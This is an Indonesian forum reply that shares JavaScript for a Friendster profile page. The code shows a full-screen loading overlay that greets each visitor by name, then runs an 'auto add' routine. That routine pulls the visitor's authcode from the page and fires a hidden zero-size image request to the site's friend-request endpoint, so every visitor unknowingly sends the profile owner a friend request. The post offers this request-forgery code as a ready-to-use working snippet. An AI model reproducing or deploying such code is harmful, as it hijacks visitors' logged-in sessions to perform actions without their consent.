[quote=oppie]saru lagi nichh bro onload handler itu yg dmn sichhh sory masi newbi nichhkan malu bertanya sesat d jalan...[/quote]
ada di atas bagian B
[quote]//LOADER
if(navigator.appName=="Netscape") loader=new Loader();
function Loader() {
this.hide=function() {
lding.style.display='none';
}
var lding = document.getElementById('navBg');
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
//Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
//IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
//IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
lding.innerHTML="<br><br><br><br><br><br><br><br><br><br><center><b><font face='Courier New' size='3px' color='#000000'> ... zLaMaAD DatANk di dUNia ReZZa__ReZZa__ReZZa__..."+pageViewerFName+"...!!!!</B></FONT><br><br><img src='http://h1.ripway.com/rockaddicted/images/loading.gif'><br><br><center><b><font face='Courier New' size='3px' color='#000000'>...keepin' u'r hands 2 See My Profile...be QuiT...???<br><br>..LagI Nge-Load........Plizz Wait......Ok...!!!<br></font><b></center>";
lding.style.display='';
lding.style.position = 'fixed';
lding.style.top = '0px';
lding.style.left = '0px';
lding.style.width = myWidth;
lding.style.height = myHeight;
lding.style.backgroundImage ="urlhttp://i137.photobucket.com/albums/q205/ezil2007/overlay.png)";
lding.style.backgroundRepeat='repeat';
lding.style.zIndex=1000;
}
setTimeout("loader.hide()",10000);
[b]//onload handler
function onProfileLoad() {
//addboxes here[/b]
//BAGIAN B
//AUTO ADD
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "auto@add.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};[/quote]
semoga membantu...